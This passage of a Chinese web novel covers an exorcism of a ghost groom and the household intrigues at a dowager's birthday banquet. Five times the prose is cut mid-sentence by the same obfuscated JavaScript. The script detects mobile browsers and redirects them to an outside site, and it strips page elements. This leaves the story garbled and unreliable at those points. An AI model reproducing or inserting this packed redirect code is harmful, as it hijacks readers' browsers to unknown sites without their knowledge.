“儿啊!我的儿!”老妇看得心胆俱裂,想要扑上去阻拦。 小花一个凌厉的眼神扫过去,短棍直指老妇,喝道: “老虔婆!你敢上来,我连你一起揍!” 老妇被她气势所慑,脚步僵在原地,又惊又怒,却不敢真上前,只能跳着脚尖声叫骂: “你们……你们欺人太甚!人总是要死的,早死晚死有什么差别!我儿他孤零零在地下,找个伴怎么了?!那慕容晴当了这么久的侯府小姐,锦衣玉食,享尽了福,如今让她为我儿做点实事,成全我儿一片痴心,那是她的造化!” 她这番颠倒黑白、恶毒至极的言论,让小花更是怒火中烧,下手更重了几分,直打得那男鬼哀嚎不止,鬼影都淡薄了几分。 林小满冷眼看着这一切,直到那男鬼的惨叫声渐渐微弱,才淡淡开口:“小花。” 小花闻声,这才意犹未尽地停了手,退回林小满身边,依旧恶狠狠地瞪着那对母子。 林小满一步步走上前,居高临下地看着蜷缩在地、瑟瑟发抖的男鬼,以及面色惨白、眼神怨毒的老妇,声音如同冰泉击石: “强娶活人,扰乱阴阳,其罪一;心生妄念,执意害人,其罪二;冥顽不灵,毫无悔意,其罪三。” 她每说一句,周遭的空气便寒冷一分,无形的威压让那老妇也忍不住颤抖起来。 “今日,我便断了你这祸根。” 话音未落,林小满指尖已凝聚起一点纯白光芒。 老妇见状,瞳孔骤缩,嘶声喊道:“不——你不能!我儿他只是想成个家啊!”她竟不管不顾地扑上来,想用身体护住儿子。 林小满眼神微冷,并未动作,那点白光却骤然扩散,形成一道柔和却坚不可摧的屏障,将老妇轻轻推开,令她无法靠近分毫。 “执迷不悟。”林小满声音清冷,目光落在蜷缩的男鬼身上。 那男鬼接触到她的目光,竟忘了疼痛,眼中再次浮现痴迷与贪婪。 “仙子……饶命……”他挣扎着开口,语气却依旧带着令人作呕的觊觎,“若得仙子垂怜,我愿……” “你不配。” 林小满直接打断了他,指尖白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16539803|186603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光如流星般射出,落在他与慕容晴之间那无形的因果线上。 “啊——!” 男鬼发出一声远比之前被打时更为凄厉的惨叫,仿佛灵魂被硬生生撕裂。 那道连接着他与慕容晴的、由头发丝和邪术缔结的冥婚契约,瞬间寸寸断裂,消融于无形。 与此同时,远在侯府闺房中紧张等待的慕容晴,忽然感觉浑身一轻,仿佛一道枷锁骤然松开,一直萦绕在心头的阴寒恐惧感也随之消散大半。 她惊愕地看向母亲,侯夫人也察觉到了女儿的变化,眼中顿时涌上惊喜的泪花。 破屋之内,契约断裂的反噬让男鬼的魂魄变得极其不稳定,身影模糊,仿佛随时会溃散。 “我的儿!我的儿啊!”老妇感受到儿子魂魄的衰弱,发出绝望的哀嚎,她怨毒无比地瞪着林小满, “你毁了我儿!你不得好死!我做鬼也不会放过你!” 林小满淡漠地看着她:“你助纣为虐,以邪术害人,阳寿已折,自有地府判官等你。至于他……” 她瞥了一眼气息奄奄的男鬼,“强留人间,妄害生灵,魂飞魄散是其归宿。” 老妇闻言,如遭雷击,瘫软在地。 林小满不再多看他们一眼,转身对小花道:“此间事了,走吧。” 小花朝着那对母子不屑地哼了一声,连忙跟上。 二人走出破败的院落,身后传来老妇撕心裂肺的哭嚎和男鬼逐渐微弱的呻吟,最终彻底归于寂静。 “就这么放过那老虔婆了?”小花还有些不忿。 “她阳寿无几,且余生都将活在丧子与悔恨之中,已是惩罚。” 那男鬼今日如此没有底线,强娶活人,视人命如草芥,何尝不是那老妇往日无底线纵容、甚至助纣为虐所种下的恶果? 她以为是为儿子好,实则将他推入了万劫不复的深渊。有因必有果,在这桩事里,没有人是绝对无辜的。 小花若有所思地点点头,心中的那点不忿也渐渐平息。 第一百八十八章 过寿 主仆二人回到宁国侯府时,东方已现出鱼肚白。 闺房内,众人皆是彻夜未眠,焦急等待。 见她们安然返回,侯夫人立刻迎上前,慕容晴也紧张地望过来。 “林小姐,事情……”侯夫人急切地问道。 “已然了结。”林小满言简意赅,“冥婚契约已断,那鬼物不会再纠缠慕容小姐。” 慕容晴闻言,一直紧绷的心弦终于松开,眼泪止不住地滚落下来,是劫后余生的喜悦。 她起身便要向林小满行大礼,被林小满抬手虚扶住了。 林小满从袖中取出一张折叠好的黄色符箓,递给慕容晴: “此乃平安符,贴身戴好,可安神定魂,驱散残余阴气,保你日后安宁。” 慕容晴双手接过,紧紧攥在掌心,如同握着救命稻草,连声道谢: “多谢林姐姐救命之恩!晴儿没齿难忘!” 侯夫人也是感激涕零,命人备上厚礼,却被林小满婉拒: “举手之劳,不必如此。府上后续只需让小姐好生静养即可。” …… 翌日清晨,林小满与林知鸳早早便到了前厅。 不多时,便见沈清秋风风火火地赶了过来,面上带着些许匆忙与歉意。 “哎呀,小满,知鸳,”沈清秋气息微喘,显然是急着赶来的, “我也是昨日傍晚才收到俞府送来的帖子,偏生昨日你们去了侯府帮忙,我都没来得及跟你们细说。这不,一大清早赶紧派人告诉你们。” 她顿了顿,看着两个女儿,语气温和,“这寿宴来得突然,你们若是不想去,或是觉得仓促准备不及,推了也无妨的。” 林知鸳闻言,立刻上前亲昵地挽住沈清秋的手臂,柔声道: “母亲,既然是俞府老太君的寿宴,我们必定是要去的。老太君是您的义母,那便是我们的外祖母,于情于理,我们都该亲自前去贺寿才是。” 她说着,转头看向林小满。 林小满站在一旁,脸上没什么表情,只淡淡地“嗯”了一声,算是附和:“姐姐说得对。” 见两个女儿都如此明理,沈清秋心中慰帖,但眉头却未完全舒展,她轻轻叹了口气,带着几分疑惑说道: “按理说,办寿宴这等大事,尤其是老太君的寿宴,合该提前一两个月便将请帖送至各家,好让宾客们早做准备。 可不知这俞府此番是怎么回事,竟是提前一日才将请帖送了过来。而且听闻,这寿宴也比原定的日子提前了一月举办,着实有些蹊跷……” 她的语气中带着一丝不易察觉的担忧,这不合常理的安排,总让人觉得俞府似乎发生了什么不为人知的事情。 一直到上了马车,沈清秋还在絮絮叨叨地说着俞府的事情,眉头越皱越紧: “……越想越觉得不对劲,这提前一月办寿宴已是罕见,请帖还送得如此仓促,莫不是府里出了什么急事,需要借这寿宴的名头……” “别想那么多了,”林小满出声打断,语气依旧平淡,“去了再说吧。” 她顿了顿,看向沈清秋,“既然是娘亲的义母,寿礼可备妥了?” 沈清秋见她问起正事,暂且按下心中的疑虑,点头道: “这个你放心,娘早就备下了。是一尊上好的羊脂白玉雕的寿星翁,寓意吉祥,质地温润,最适合老人家把玩赏鉴。” 林小满微微颔首,表示知晓。 她沉默片刻,似是想起了什么,又开口问道:“这俞府,在京中是何身份?” 一旁的林知鸳闻言,轻声接过话头,为林小满解释道: “俞府是京城望族,如今的俞老太爷曾官拜太傅,虽已致仕,但门生故旧遍布朝野,威望犹存。 老太君出身江南书香世家,性情慈和,与母亲投缘,早年便认了母亲做义女。 俞府家风清正,几位舅父也都在朝为官,地位清贵。只是……” 她语气微顿,带着一丝与沈清秋相似的疑惑,“如此门第,行事向来稳妥周全,此番寿宴安排,确实与往常不同。” 林小满听完林知鸳的介绍,若有所思,随即又抛出一个问题: “我及笄礼那日,似乎并未见到俞府之人前来?” 沈清秋闻言,轻轻拍了拍她的手背,解释道: “你义外祖父去世后,义母伤心过度,便离了京城这是非之地,回江南老家静心养老去了,这些年深居简出,连京中诸多宴会都鲜少露面。 你及笄时,她老人家年事已高,不便长途跋涉。至于你两位舅父,” 她叹了口气,“恰逢那几日都被陛下派了外差,一个去了南边巡查漕运,一个去了北疆犒军,皆不在京中,实在是赶不回来。” 她见林小满神色平淡,又赶忙补充道: “不过,俞府的礼是早早便送到了的!只是你及笄那日宾客众多,送来的贺礼堆积如山,你可能未曾留意。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16539804|186603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 你后来不是还夸过一柄玉如意的玉质极好,雕工也精湛吗?那便是你外祖母特意从江南寻来,千里迢迢送给你及笄的贺礼。” 那柄玉如意她确实有些印象,温润通透,是上好的和田美玉,她当时还觉得送礼之人颇为用心。 原来竟是这位素未谋面的外祖母所赠。 她点了点头,表示知晓,不再多问,只将目光投向车窗外飞速掠过的街景。 马车内一时安静下来,只余车轮辘辘之声,载着几人向着那座透着些许不寻常的俞府行去。 …… 马车行了约莫半个时辰,终于抵达了俞府。 此时的俞府门前车水马龙,张灯结彩,一派热闹非凡的景象。 俞府乃是先皇御赐给已故俞老太爷的府邸,占地极广,朱门高墙,飞檐斗拱,处处透着百年望族的底蕴与气派。 门前两座石狮子威严矗立,往来宾客络绎不绝,仆从们衣着体面,引客迎宾,井然有序中透着一股世家大族的从容。 林小满一行人到的时候,府门前已停了不少华丽的马车,显然已有不少宾客先到了。 她们下了马车,林小满和林知鸳便安静地跟在沈清秋身后。 沈清秋整理了一下衣襟,带着两个女儿向府门走去。 在府门口迎接宾客的,正是如今的俞府当家,老太君的长子俞洪明。 他年约四旬,面容端正,气质沉稳,身着深色锦袍,见到沈清秋,俞洪明脸上露出真切几分的热络笑容,快步迎了上来: “清秋妹妹,你可算来了!母亲方才还念叨着你呢。” 沈清秋连忙带着女儿们敛衽行礼:“洪明兄长。” 林知鸳和林小满也随着母亲的动作,规规矩矩地行了晚辈礼。 俞洪明虚扶一下,目光随即落在沈清秋身后的两个女孩身上,尤其是在林小满身上停留了一瞬,随即化为温和的笑意: “这就是小满吧?果然如传闻中一般,气质不凡。” 他又看向林知鸳,“知鸳也出落得越发标致了。好好好,都是好孩子。” 林小满微微垂眸,依礼轻声回应:“舅父安好。” 林知鸳也柔声道:“舅父安好,愿舅父身体康健。” 俞洪明连连点头,对沈清秋道:“快进去吧,母亲就在福寿堂,她见到你们定然高兴。” 他招手唤来一个伶俐的丫鬟,“引沈夫人和两位小姐去老太君处。” 第一百八十九章 见面礼 沈清秋带着两个女儿,跟着引路丫鬟穿过曲折回廊,往内院走去。 林知鸳轻轻拉了拉林小满的衣袖,低声说道: “小满,我以前时常随母亲来这边玩耍,后来老太君回了江南,我便基本上没怎么过来过了。好些年了,突然踏进来,倒让我有些怀念的感觉了。” 她顿了顿,语气带着些许俏皮,“老太君向来喜欢活泼开朗的性子,以前就总说我太过文静了。小满,你这样的,老太君见了定然会很喜欢你的。” 沈清秋闻言,也转过头来,脸上带着温柔的笑意,对林小满说道: “你姐姐说得没错,义母她老人家性子爽利,最是喜欢鲜活灵动的孩子。你虽话不多,但眼神清正,行事自有章法,这份与众不同,说不定更合她老人家的眼缘。” 一行人说着,便来到了后院。 此时园子里已经**了不少女眷,衣香鬓影,笑语喧阗,大多是与俞家交好的世家夫人和小姐们。 三人正欲往福寿堂去,却在经过一处假山拐角时,隐约听到了几位夫人的议论声。 “哎,你们说,这次林府那个刚找回来的二小姐,会不会过来?”一个略显尖细的声音问道。 “这谁说得准呢?”另一个声音带着几分漫不经心, “说起来,虽然回来也有些时日了,但仔细想想,她都丢了这么多年,还真能找回来不成? 要我说啊,保不齐就是哪里来的野丫头,瞧着林府富贵,上门来打秋风的!也亏得沈夫人心善,竟也认下了……” “就是,我看那林家大小姐知鸳,才是真正金尊玉贵养大的,气质模样都没得挑。这半路找回来的,指不定是什么粗鄙性子呢……” 这些刻薄的议论清晰地传了过来,沈清秋的脚步猛地一顿,脸上的血色瞬间褪去,变得有些苍白,方才因即将见到义母而泛起的高兴神色也消散无踪。 对她而言,这辈子最重要的便是家人,无论是失而复得的亲生女儿林小满,还是从小养大、贴心懂事的林知鸳,在她心中都是同等重要,不容他人置喙伤害。 林小满敏锐地察觉到母亲和林知鸳情绪的变化,她停下脚步,一手拉住沈清秋微凉的手,另一只手握住林知鸳, “娘亲,莫要在意那些闲言碎语。缘分向来天注定,斩也斩不断。我和知鸳,都是娘亲的女儿,这一点,任谁也无法改变。 那些乱嚼舌根的,又不是我们林府之人,难道还能替娘亲决定了谁才是您的女儿不成?!” 她的话语干脆利落,没有丝毫自怜或愤懑,只有一种不容置疑的笃定。 这番直白却有力的安慰,像一阵暖风,瞬间驱散了沈清秋心头的阴霾。 她看着眼前神色平静、眼神清亮的林小满,心中又是酸涩又是欣慰。 林知鸳也立刻反应过来,连忙挽住沈清秋的另一只胳膊,故作轻松地催促道: “就是!娘亲,我们快走吧!老太君肯定早就等不及想见见小满了,我们要是去晚了,小心老太君生您的气哦!” 沈清秋被两个女儿一左一右地围着,感受着她们传递过来的温暖和支持,深吸一口气,重新展露笑颜,点了点头: “好,我们走,别让义母久等。” 母女三人不再理会身后的窃窃私语,挺直脊背,向着福寿堂的方向走去。 福寿堂内,暖意融融,檀香袅袅。 主位之上,一位满头银发、精神矍铄的老妇人正含笑与围坐在下方的几位女眷说着话,眉眼间依稀可见年轻时的爽利风采,正是今日的寿星——俞老太君。 这时,一位与老太君年纪相仿、衣着体面的老嬷嬷笑着快步走进来,禀报道: “老太君,林府的沈夫人带着两位小姐过来给您贺寿了,正在外面候着呢。” 老太君闻言,脸上顿时绽开惊喜的笑容,连声道: “清秋来了?快快快,快请她们进来!” 不一会儿,沈清秋便领着林小满和林知鸳走了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16539805|186603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进来。 母女三人齐刷刷地向主位上的老太君行礼拜寿: “女儿/外孙女给义母/外祖母请安,恭祝义母/外祖母福如东海,寿比南山!” 老太君看着沈清秋,眼中满是慈爱和感慨,竟直接站起身,亲自上前两步扶起沈清秋,拉着她的手仔细端详,语气带着几分激动和亲昵: “好,好!清秋啊,真是好久不见了!快让义母好好看看你……嗯,气色不错,就是瞧着清减了些,可是太过操劳了?” 沈清秋眼中泛起泪光,笑着摇头:“劳义母挂心,女儿一切都好。” 她说着,轻轻将身后的林小满引到身前,“义母,这就是小满,我那个失而复得的女儿。” 她又示意林知鸳上前,“这是知鸳,您也是见过的。” 老太君的目光立刻落在了林小满身上,她仔细端详着林小满清丽的眉眼,尤其是那双与沈清秋年轻时极为相似的、清澈沉静的眼眸,眼中流露出毫不掩饰的喜爱和欣慰: “好孩子,好孩子!像,这眉眼真像你娘年轻的时候!” 她拉着林小满的手,轻轻拍着,“回来就好,回来就好!外祖母心里真是替你娘高兴!” 她越看越是欢喜,像是忽然想起了什么,抬手便从自己梳得一丝不苟的银发间,取下一支通体碧绿、水头极足的翡翠簪子,那簪子样式古朴,一看便知是上了年头的好东西。 老太君直接将簪子塞到林小满手里, “好孩子,外祖母这次回来得仓促,也没特意给你准备什么见面礼。这支簪子,跟了外祖母几十年了,今日就送给你,权当是补上你及笄的贺礼,你可不许推辞!” 这举动显然出乎众人意料,连沈清秋都微微一愣,随即连忙道: “义母,这太贵重了!她一个小孩子家……” 老太君却摆摆手,嗔怪地看了沈清秋一眼:“什么贵重不贵重的,不过是个念想。我看着这孩子投缘,给我的外孙女,我乐意!” 第一百九十章 提前办的寿礼 她说着,又笑眯眯地看向林小满,眼神温暖而真诚。 林小满握着手中温润的玉簪,能感受到老太君毫不作伪的善意与疼爱。 她并非扭捏之人,便大大方方地再次敛衽一礼,清声道:“小满谢外祖母厚赐。” “哎,好孩子,快起来!”老太君见她举止落落大方,不卑不亢,眼中喜爱更盛,亲自将她扶起。 老太君拉着沈清秋在自己身旁坐下,絮絮地说着体己话。 下手坐着的几位年轻姑娘,见状也都站起身来,对着沈清秋规规矩矩地行了个礼,齐声道:“见过沈姨母/沈夫人。” 沈清秋脸上带着温和的笑意,虚抬了抬手:“都是好孩子,不必多礼,快坐下吧。” 老太君笑着对林知鸳和林小满说道: “好孩子,你们姐妹俩也别拘着了,去和姐妹们一处坐吧,说说话,认认人。这些都是我的孙女们,你们年纪相仿,自然该多亲近亲近。” 她指了指那边空着的几个位置。 林知鸳和林小满依言,对着老太君和沈清秋微微一福,便走向那群年轻姑娘。 她们走过去时,几位俞家小姐也都礼貌地点头致意,面上带着或浅淡或好奇的笑意,并未多言。 然而,其中一位穿着鹅黄衣裙、容貌娇艳的姑娘,却在与林小满视线相接时,毫不客气地翻了个大大的白眼,嘴角下撇,流露出明显的不屑。 林小满可不是什么忍气吞声的性子,见状,她脚步未停,目光平静地回视过去,同样干脆利落地回敬了一个白眼,动作幅度不大,却足够让对方看清,随即若无其事地随着林知鸳在空位上坐下。 林知鸳将这一幕尽收眼底,忍不住用帕子掩唇,轻笑了一声。 待两人坐定,她微微侧身,靠近林小满,用只有两人能听到的声音低声解释道: “小满,莫要与她一般见识。刚才那位是二房的庶长女,名叫俞嘉柔。 她姨娘……是长公主府早年送给二舅舅的,据说原是长公主身边的得力侍女。因着这层关系,她向来与方家那位走得近,性子难免骄纵些。” 林小满闻言,并未说什么,只轻轻点了点头,表示知晓。 看来这俞府的水,也并不像表面看起来那么平静。 她端起手边的茶盏,轻轻拨弄着浮叶。 那边沈清秋与老太君说着话,心中那层关于寿宴提前的疑虑却始终未曾散去。 她寻了个话隙,带着几分恰到好处的关切与嗔怪,柔声问道: “义母,有件事女儿心里一直纳闷呢。怎的您的生辰突然就提前了这许久举办?这幸亏我库里还存着些能拿得出手的东西,紧赶慢赶地备了礼,不然今日岂不是要空着手来给您贺寿了?那可真是我的罪过了。” 老太君闻言,脸上的笑容淡了几分,轻轻叹了口气,拍了拍沈清秋的手背,压低了些声音解释道: “好孩子,难为你还惦记着这个。原也不想这般兴师动众,只是前些日子,我这身子骨忽然有些不大爽利,夜里总睡不踏实,精神也短了许多。 洪明他们不放心,便悄悄请了位据说颇有名望的大师进府看了看。” 她顿了顿,声音更轻了些,带着几分无奈: “那大师算了算,说是……说是今年原定的生辰日子与我的流年有些妨碍,恐对寿数有损,需得寻一个最近的吉日,提前将寿辰过了,借这喜庆劲儿冲一冲,方能化解,保个平安顺遂。 洪明他们听了,哪里还敢耽搁?这才仓促定了今日,连请帖都是紧赶着送出去的,倒是让亲友们费心了。” 老太君说着,脸上虽还带着笑,眼神里却掠过一丝不易察觉的阴霾,显然对这所谓的“冲喜”之说,心中也并非全然踏实。 沈清秋听完,心中恍然,原来是这个缘故。 她连忙反握住老太君的手,温声安慰道:“原来如此。既是大师指点,提前办了也好,只要能保义母您身体康健,平平安安的,比什么都强。您如今瞧着气色甚好,定是那冲喜之法见效了。” 话虽如此,沈清秋心底却并未完全放松。 大师批命、冲喜化解……这听起来合情合理,但她总觉得,事情或许并非表面这般简单。 沈清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16539806|186603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秋心中那份隐隐的不安并未因老太君的解释而完全消散,她下意识地偷偷瞥了一眼坐在小姐堆里的林小满。 恰在此时,林小满也抬眼望来,母女俩视线在空中交汇。 林小满对上母亲带着些许担忧的眼神,几不可察地轻轻点了点头。 沈清秋接收到女儿传递过来的安抚信号,悬着的心才稍稍落定了几分,只在心里盘算着,等宴席过后,定要寻个合适的由头,让小满给老太君仔细瞧瞧,方能真正安心。 宴席安排得紧凑,众人说话间,便有丫鬟前来禀报,宴席已备好,请诸位移步花厅。 老太君兴致颇高,亲自拉着林小满的手,在一众女眷的簇拥下往外走。 一路上,老太君对林小满关切备至,不住地问: “好孩子,刚回到京城可还习惯?” 林小满微微点头,轻声回应:“习惯的,多谢外祖母关心。” “平日里吃的用的可还合胃口?若有什么不惯的,定要告诉你娘,或者直接来跟外祖母说。” 老太君又问。 林小满依旧只是点了点头,简洁答道:“都合胃口。” 从福寿堂到花厅这一路上,老太君连着问了十几个问题,林小满皆是有问必答,虽言辞简短,但态度恭谨,并无丝毫不耐。 沈清秋跟在身后,见义母如此挂心,忍不住笑着打趣道: “义母,您瞧您,这般不放心,难不成我还能苛待了自己的亲生女儿不成?” 老太君这才恍然般笑了起来,拍了拍林小满的手背,又伸手拉过另一侧林知鸳的手,将两姐妹的手叠放在一起,语重心长地说道: “你们都是好孩子。一家人,能和和美美、健健康康地在一块儿,比什么都强。 外祖母活了这么大岁数,也不知道哪天说走就走了,如今啊,就盼着你们这些后辈个个都好,兄弟姐妹间和睦友爱,互帮互助。” 她目光慈和地看着林知鸳和林小满,“你们两个,都是心胸宽广的好孩子,能不计较过往,真心接纳彼此,这都是有大容量的,祖母看着,心里真是欣慰。” 第一百九十一章 都是孙子凭什么他就受宠些 老太君这番话听在俞嘉柔耳里,只觉得字字刺心,酸涩得不得了。 她愤愤不平地想道:从小到大,祖母对她这个亲孙女反倒是从没多看过几眼,目光永远只停留在那些嫡出的姐妹身上,她本就积怨已久。 如今倒好,对着林家这两个八竿子打不着的外姓人,竟如此亲热,还说这些体己话!这未免也太偏心了! 还真是年纪大了,糊涂到头了,放着自己亲孙女不理,反倒拉着两个外人嘘寒问暖! 俞嘉柔越想越气,忍不住从鼻子里发出一声极轻的冷哼,低声嘟囔道: “哼,说得倒是好听,谁知道心里怎么想的……” 她话音未落,身旁一位面容姣好、气质温婉的女子便轻轻扯了扯她的衣袖,低声劝道: “嘉柔妹妹,少说两句吧,今日是祖母寿辰,莫要惹她老人家不快。” 俞嘉柔瞥了那女子一眼,虽仍是一脸不忿,到底还是悻悻地闭了嘴,只是那眼神,依旧像小刀子似的,不时剐向林小满和林知鸳的背影。 一直到入了席,宾客全都到齐了,气氛愈发热闹。 这时,一位身着锦蓝色长袍的公子哥儿风风火火地走了进来。 他生得眉目俊朗,嘴角噙着一抹玩世不恭的笑意,行动间自带一股洒脱不羁的风流姿态,只是那眼神灵动中透着几分狡黠,一看便知是个平日里被娇纵惯了的。 他也不管席面规矩,径自搬了个绣墩,硬是挤到了老太君身旁坐下,亲昵地挽住老太君的胳膊,半是撒娇半是抱怨道: “祖母偏心!在江南的时候,还总说孙儿是您的心头肉,是您的开心果。这一回来京城,眼里便只有姐姐们了,连个正眼都不给孙儿了!” 他这番作态,引得席上众人忍俊不禁,发出一阵善意的哄笑。 老太君一见是他,脸上的皱纹都笑开了花,宠溺地拍了拍他的手背,连声道: “哎哟,我的乖孙回来了!好好好,祖母都关心,都疼!祖母啊,最疼的就是你! 你要是什么时候能给我找个乖巧懂事的孙媳妇儿回来,那祖母才真是高兴得要睡不着觉呢!” 这公子正是俞府大房的嫡幼子,老太君的老来孙,名叫俞知安。 他一听老太君又提这茬,立刻像是被踩了尾巴的猫,松开手,佯装生气地把头一扭,哼道: “祖母!您要是这么问的话,那孙儿还是不要您的疼爱了!哼!” 他这副耍宝的模样,逗得满堂宾客更是笑声一片,连向来端庄的夫人们都忍不住以帕掩唇。 俞大夫人见状,又是好笑又是无奈,连忙出声打断: “知安!怎么跟你祖母说话呢?没大没小的!” 她看着自己这个老来得子、却总是一副长不大模样的儿子,只觉得一阵头疼,低声叹道,“这孩子,什么时候才能稳重点……” 俞知安却浑不在意,冲自己母亲做了个鬼脸,又笑嘻嘻地凑回老太君身边,变戏法似的从袖中掏出一个小巧精致的锦盒: “祖母,孙儿跟您开玩笑呢!您看,这是孙儿特意给您寻来的寿礼,您瞧瞧喜不喜欢?” 老太君被他哄得眉开眼笑,连连道: “喜欢,喜欢,我孙儿送什么,祖母都喜欢!” 席间气氛因俞知安的插科打诨,变得更加轻松欢快。 俞府二房夫人眼见风头似乎都被林小满和大房那个插科打诨的俞知安抢了去,脸上那得体的笑容微微僵了僵。 她很快调整好表情,端起面前的小茶杯,款款起身,走到老太君席前,语气温婉恭顺: “母亲,今日是您的大好日子,儿媳心中欢喜,便以茶代酒,敬您一杯,恭祝母亲福寿绵长,笑口常开!” 老太君心情正好,闻言也笑着端起了酒杯,温和道:“好,你有心了。” 二夫人将杯中茶水饮尽,又顺势笑着开口道: “母亲,说起孩子们,咱们知平也是个争气的。前两日书院小考,他又得了夫子夸奖,说是文章做得极有见地,连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16539807|186603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山长都留意到了他,夸他沉稳好学,是块读书的料子呢。” 她这话声音不高不低,恰好能让邻近几桌的宾客听清。 果然,下方的宾客中立刻有人低声议论起来: “俞知平公子?可是在南山书院那位?” “正是!听说他在书院中一向名列前茅,学问是极扎实的。” “唉,我家那个不成器的,若是能有知平公子一半的勤勉上进,我就烧高香了!” “俞府真是人才辈出啊,长孙如此出色,将来前途不可限量……” 听着周围的窃窃私语和赞叹,二夫人眼底闪过一丝不易察觉的得意。 老太君听着,脸上也露出欣慰的笑容,点了点头,语气中带着对长孙的期许: “知平确实是个踏实上进的好孩子。他是我们俞府的长孙,自当勤勉刻苦,为弟弟妹妹们做个表率。 学问上用心是好事,但也需记得告诫他,戒骄戒躁,修身养性同样要紧。” “母亲说的是,儿媳定会时时提点他。”二夫人恭顺应下,这才心满意足地退回自己的座位。 席间的焦点,似乎又悄然偏向了二房这边。 偏偏这二夫人是个得意过后便不知收敛的性子,眼见大房那边偃旗息鼓,她犹觉不足。 目光一转,落在了对面的大夫人身上,脸上挂着看似关切实则绵里藏针的笑容, “说起来,大嫂,知安之前在南边陪着母亲,说是替我们尽孝,这份心自然是好的。 只是我恍惚记得,他去江南前,仿佛是因为不喜京城书院里的拘束,功课上……也有些懈怠? 这孩子心思活泛是好事,可这学业终究是根基,耽误不得。如今母亲也回京了,不知大嫂对知安日后可有什么安排?总不能一直这般……闲散着吧?” 这话一出,大夫人的脸色瞬间沉了下来。 她儿子俞知安虽然性子跳脱不喜拘束,但天资聪颖,过目不忘,只是不愿受那死板教条的束缚罢了。 第一百九十二章 魂魄不安,阳寿有碍 二夫人此刻这番话,分明是当着众人的面暗指她儿子不学无术,借陪祖母之名行逃避学业之实! 大夫人心中愠怒,面上却强自维持着端庄,嘴角扯出一抹得体的弧度,语气不疾不徐: “二弟妹有心了。知安那孩子是去江南陪他祖母尽孝,承欢膝下,这是为人子孙的本分,怎好说是借口? 至于学业,我们做父母的自然心中有数。这孩子性子是野了些,但脑子还不笨,不过是还没定性,贪玩些罢了。 等他玩够了,收了心,该他的前程,一样也少不了。倒不劳二弟妹如此挂心。” 她这话点明了俞知安去江南是尽孝道,又暗示儿子天资不凡,只是暂时未发力,还暗讽二夫人手伸得太长。 二夫人被这不软不硬的钉子碰了回来,脸上有些挂不住,正要再开口说些什么扳回一城。 别说主桌上了,就连邻近几桌的宾客都隐隐感觉到了这边不同寻常的**味,交谈声都不自觉地低了下去,目光若有若无地瞟向这边。 眼见老太君脸上的笑容渐渐淡去,眉头微蹙。 一直笑嘻嘻旁观的俞知安忽然“哎呀”一声,伸手拍了拍自己的额头,一副恍然大悟的模样,成功吸引了所有人的注意力。 他冲着二夫人做了个鬼脸,语气夸张又带着几分赖皮: “二婶娘,您就饶了我吧!我才刚回京,板凳还没坐热呢,您就急着催我上进啦? 您瞧瞧我,这浑身的风尘仆仆,还没抖落干净呢!再说了,祖母这才刚回来,孙儿还想着多在祖母跟前凑凑趣,多偷几日懒呢! 您这一下子就把我的小心思给捅破了,往后我还怎么在祖母这儿讨巧卖乖啊?” 他边说边摇晃着老太君的胳膊,挤眉弄眼:“祖母,您可得给孙儿做主!二婶娘这是要断孙儿的逍遥路啊!” 他这一番插科打诨,瞬间冲淡了方才紧张的气氛。 老太君被他逗得重新露出了笑容,轻轻拍了他一下:“就你贫嘴!” 